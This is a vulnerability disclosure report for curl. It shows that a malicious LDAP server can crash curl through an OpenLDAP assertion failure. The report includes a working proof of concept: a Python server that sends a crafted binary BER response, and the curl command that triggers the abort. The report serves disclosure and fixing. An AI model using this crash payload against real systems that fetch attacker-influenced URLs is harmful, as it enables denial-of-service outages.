curl ASSERTs when accessing an LDAP URL

## Summary: curl can crash when accessing an LDAP URL. ``` curl ldap://localhost:1388 curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed. Aborted (core dumped) ``` No AI was used in the production of this report. This was enabled by oss-fuzz, but initiated by me adding LDAP support to curl-fuzzer. ## Affected version This works for my system curl as well as master curl. ## Steps To Reproduce: Run this Python script: ``` #!/usr/bin/env python3 """ Simple socket server that sends a specific binary response on port 1388. """ import socket import logging import sys # Set up logging logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') log = logging.getLogger(__name__) # The binary response to send BINARY_RESPONSE = b'0%1\x01\x00x\x00\r\x00\x00\x00\x00\x00\x8a\x00\r\x00\x06\x00\r\x00\x00\x00\r\x00\x00\x00\x00\xc7\xc7\xc7\x9b\x80\xeb\x05123456\x00\x03\x00\x00\x00\tcn=d\x00\x10man' PORT = 1388 def handle_client(client_socket, client_address): """Handle a single client connection.""" try: log.info(f"Client connected from {client_address}") # Send the binary response client_socket.send(BINARY_RESPONSE) log.info(f"Sent {len(BINARY_RESPONSE)} bytes to {client_address}") except Exception as e: log.error(f"Error handling client {client_address}: {e}") finally: # Close the client socket client_socket.close() log.info(f"Connection closed for {client_address}") def run_server(): """Run the socket server.""" # Create a socket server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Allow socket reuse server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: # Bind to the port server_socket.bind(('localhost', PORT)) server_socket.listen(5) log.info(f"Server listening on port {PORT}") log.info("Press Ctrl+C to stop the server") while True: try: # Accept a client connection client_socket, client_address = server_socket.accept() # Handle the client in the same thread (simple approach) handle_client(client_socket, client_address) except KeyboardInterrupt: log.info("Server shutdown requested") break except Exception as e: log.error(f"Error accepting connection: {e}") except Exception as e: log.error(f"Error starting server: {e}") sys.exit(1) finally: server_socket.close() log.info("Server socket closed") if __name__ == "__main__": run_server() ``` This runs a server on port 1388 which simply returns a binary response. Then call curl: ``` curl ldap://localhost:1388 curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed. Aborted (core dumped) ``` curl asserts in OpenLDAP. ## Impact ## Summary: If curl is being used on a server and an attacker can influence which URL is being passed to curl, and that URL can use the LDAP protocol, the server will crash, potentially causing outages.